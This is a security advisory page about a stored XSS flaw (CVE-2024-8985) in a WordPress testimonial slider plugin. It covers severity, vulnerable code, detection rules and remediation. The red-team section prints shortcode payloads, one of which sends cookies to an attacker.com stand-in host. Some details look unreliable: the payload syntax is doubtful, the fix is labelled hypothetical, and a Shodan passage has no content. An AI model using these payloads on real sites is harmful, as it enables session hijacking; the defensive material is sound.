CVE-2024-8985
Executive Summary
CVE-2024-8985 is a Stored Cross-Site Scripting (XSS) vulnerability in the Social Proof (Testimonial) Slider plugin for WordPress, affecting all versions up to and including 2.2.4. The flaw resides in the spslider-block shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
Given the WordPress ecosystem context, this vulnerability is particularly dangerous because contributor-level accounts are often granted to lower-trust users. The lack of a known patch (status: UNKNOWN) means all sites using this plugin are at risk until a fix is released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites that have installed the Social Proof (Testimonial) Slider plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – the attack is carried out over the network.
- Attack Complexity (AC): Low – no special conditions are required.
- Privileges Required (PR): Low – attacker needs contributor-level access.
- User Interaction (UI): None – the victim does not need to perform any action beyond visiting the page.
- Scope (S): Changed – the vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low – limited data exposure.
- Integrity (I): Low – limited ability to modify content.
- Availability (A): None – no impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation (e.g., stealing admin cookies) makes it a serious concern for multi-user WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the spslider-block shortcode, which is used to display testimonial sliders. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., class, style, or custom data attributes) before rendering them in the HTML output. An attacker with contributor-level access can craft a shortcode like:
[spslider-block class="testimonial-slider" style="background:url('x') onerror='alert(1)'"]
When WordPress processes this shortcode, the malicious onerror event handler is injected into the generated HTML. Because the plugin does not escape the attribute values, the browser interprets the injected JavaScript as legitimate code.
The attack flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates or edits a post/page and inserts the malicious shortcode.
- The shortcode is stored in the WordPress database.
- When any user (including admins) visits the page, the injected script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (version 2.2.4 and earlier):
// In the shortcode handler, attributes are directly echoed without escaping
function spslider_block_shortcode($atts) {
$atts = shortcode_atts(array(
'class' => '',
'style' => '',
), $atts);
echo '<div class="' . $atts['class'] . '" style="' . $atts['style'] . '">';
// ... slider content ...
echo '</div>';
}
Patched Code (hypothetical fix):
function spslider_block_shortcode($atts) {
$atts = shortcode_atts(array(
'class' => '',
'style' => '',
), $atts);
// Escape attributes before output
$class = esc_attr($atts['class']);
$style = esc_attr($atts['style']);
echo '<div class="' . $class . '" style="' . $style . '">';
// ... slider content ...
echo '</div>';
}
The fix uses esc_attr() to sanitize attribute values, preventing XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress site with Social Proof (Testimonial) Slider plugin <= 2.2.4
- Contributor-level account credentials
Steps:
- Log in to WordPress as a contributor.
- Create a new post or page.
- Insert the following shortcode into the content:
[spslider-block class="testimonial-slider" style="background:url('x') onerror='alert(document.cookie)'"] - Publish the post.
- Send the post URL to a target (e.g., admin).
- When the admin views the post, the JavaScript executes, exfiltrating cookies.
Advanced Payload (session hijacking):
[spslider-block class="testimonial-slider" style="background:url('x') onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)'"]
Blue Team (Defense & Detection)
Detection Steps:
- Monitor WordPress logs for shortcode usage by contributor-level users.
- Scan posts/pages for suspicious shortcode attributes using a regex like:
\[spslider-block[^\]]*onerror|onload|onclick|javascript: - Use a Web Application Firewall (WAF) to block requests containing
onerrorin shortcode attributes.
Lab Setup:
- Install WordPress 6.x on a local server (e.g., XAMPP).
- Install Social Proof (Testimonial) Slider plugin version 2.2.4.
- Create a contributor user and test the exploit.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar parameters. - Unusual
Refererheaders pointing to pages withspslider-blockshortcode.
- Outbound HTTP requests to attacker-controlled domains containing
Host IOCs:
- WordPress posts/pages containing shortcodes with
onerror,onload, orjavascript:in attributes. - Unexpected JavaScript in the
styleattribute ofdivelements generated by the plugin.
- WordPress posts/pages containing shortcodes with
File IOCs:
- Modified plugin files (though unlikely, as the vulnerability is in the shortcode handler).
Detection Engineering
YARA Rule
rule CVE_2024_8985_WordPress_XSS {
meta:
description = "Detects malicious shortcode attributes in WordPress posts"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8985"
strings:
$shortcode = /\[spslider-block[^\]]*?(onerror|onload|onclick|javascript:)/
condition:
$shortcode
}
Sigma Rule
title: CVE-2024-8985 - Stored XSS via Social Proof Slider Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in WordPress Social Proof Slider plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.method: GET
http.url|contains:
- "spslider-block"
- "onerror"
- "onload"
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8985 - Stored XSS via Social Proof Slider Shortcode"; flow:to_server,established; content:"spslider-block"; http_uri; pcre:"/(onerror|onload|onclick|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict contributor-level accounts to only trusted users.
- Use a WAF to block XSS payloads in shortcode attributes.
Long-term Fix:
- The vendor must release a patched version that uses
esc_attr()orwp_kses()to sanitize shortcode attributes. - Alternatively, replace the plugin with a secure alternative.
Workaround:
- Add a custom filter to sanitize shortcode output:
add_shortcode('spslider-block', function($atts) {
$atts = shortcode_atts(array('class' => '', 'style' => ''), $atts);
$class = esc_attr($atts['class']);
$style = esc_attr($atts['style']);
return '<div class="' . $class . '" style="' . $style . '">...</div>';
});
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.